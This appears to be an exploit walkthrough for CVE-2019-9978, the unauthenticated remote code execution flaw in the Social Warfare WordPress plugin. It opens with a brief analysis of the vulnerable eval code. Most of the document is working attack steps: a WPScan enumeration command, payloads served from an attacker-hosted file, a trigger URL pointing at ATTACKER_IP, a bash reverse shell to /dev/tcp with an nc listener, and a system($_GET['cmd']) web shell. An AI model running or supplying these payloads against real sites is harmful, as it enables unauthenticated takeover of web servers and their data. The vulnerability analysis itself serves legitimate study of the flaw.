
A complete walkthrough and exploit for CVE-2019-9978 - Unauthenticated Remote Code Execution in Social Warfare WordPress plugin ≤ 3.5.2. Includes vulnerable code analysis and payload examples.
| Property | Value |
|---|
| CVE ID | CVE-2019-9978 |
| Affected Software | Social Warfare Plugin ≤ 3.5.2 (WordPress) |
| Vulnerability Type | Remote Code Execution (RCE) / Remote File Inclusion (RFI) |
| Authentication Required | ❌ No – unauthenticated |
| CVSS Score | 9.8 (Critical) |
| Fixed In | Version 3.5.3 |
| Exploited In The Wild | Yes – March 2019 |
The Social Warfare plugin is a popular WordPress plugin that adds social sharing buttons to websites. Versions 3.5.0 through 3.5.2 contain a critical RCE vulnerability that allows attackers to execute arbitrary PHP code on the server without any authentication .
Social Warfare is a popular WordPress plugin that adds social sharing buttons to websites, allowing visitors to easily share content on platforms like:

if ( true == SWP_Utility::debug( 'load_options' ) ) {
// ⚠️ CRITICAL MISUNDERSTANDING:
// is_admin() only checks if the page is in /wp-admin/
// It does NOT verify authentication or user privileges!
if ( is_admin() ) {
wp_die( 'You do not have authorization to view this page.' );
}
// Step 1: Fetch remote file from user-controlled URL
// No validation, no sanitization, no whitelist!
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
// Step 2: Extract content between <pre> tags
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
// Step 3: Build PHP code string
$array = 'return ' . $options . ';';
// Step 4: 💀 CRITICAL FLAW - User-supplied code is executed!
try {
$fetched_options = eval( $array ); // <-- Remote Code Execution
// ... rest of the migration logic
} catch ( ParseError $e ) {
// ... error handling
}
}
is_admin() Is NOT SecurityThe WordPress function is_admin() does not check if a user is logged in or has administrator privileges. It only checks if the requested page is within the /wp-admin/ directory :
function is_admin() {
return defined('WP_ADMIN') && WP_ADMIN;
// Does NOT check authentication!
// Does NOT check user role!
}
The irony: When you access /wp-admin/admin-post.php, WordPress defines WP_ADMIN = true. This causes is_admin() to return true even for unauthenticated requests, which enables the vulnerable code block to execute .
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
$array = 'return ' . $options . ';';
try {
$fetched_options = eval( $array ); // <-- Remote Code Execution
}
The plugin had a hidden "debug" feature that was supposed to help developers load configuration files from external URLs. However, this feature had a fatal flaw: it would download any file from a user-supplied URL and execute whatever code it found inside — without asking for permission or checking if the user was authorized.
The exploit is simple:
An attacker hosts a malicious file on their own server, tells the plugin to download it, and the plugin blindly runs the attacker's code on the victim's website. Since the plugin doesn't require you to be logged in to trigger this, anyone who knows the URL can take over the website.
Think of it like this: Imagine a security guard who opens any door when you say "debug mode" — without checking if you work there or have a badge. That's exactly what this vulnerability did
the exploit should write between 2 <pre></pre> tags.
Use WPScan to identify the Social Warfare plugin version :
wpscan --url http://target.com --enumerate vp
if you installed by yourself dont forget to Activate the plugin form admin panel.
Create payload.txt with your desired payload and then make a server to serve that payload.
example payloads :
Test Payload (Verify RCE):
<pre>phpinfo();</pre>
out of bound test:
<pre>@file_get_contents('http://burp collabrator');</pre>
Linux Reverse Shell:
<pre>system("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\"");</pre>
Interactive Command Executor:
<pre>system($_GET['cmd']);</pre>
Start a Python HTTP server to host your payload:
python3 -m http.server 8000
Your payload is now accessible at: http://YOUR_IP:8000/payload.txt
if you use localhost:
http://127.0.0.1:8000/payload.txt
after making the request from the vulnerable code you should see a 200 status code :

Option A – Manual Trigger:
Visit this URL in your browser or use curl:
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_IP:8000/payload.txt
again if you use localhost:
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1:8000/payload.txt
nc -lvnp 4444
If successful, you'll get a shell!
<pre>@file_get_contents('http://burp collabrator');</pre>

<pre>phpinfo();</pre>

Happy Hacking! 🚀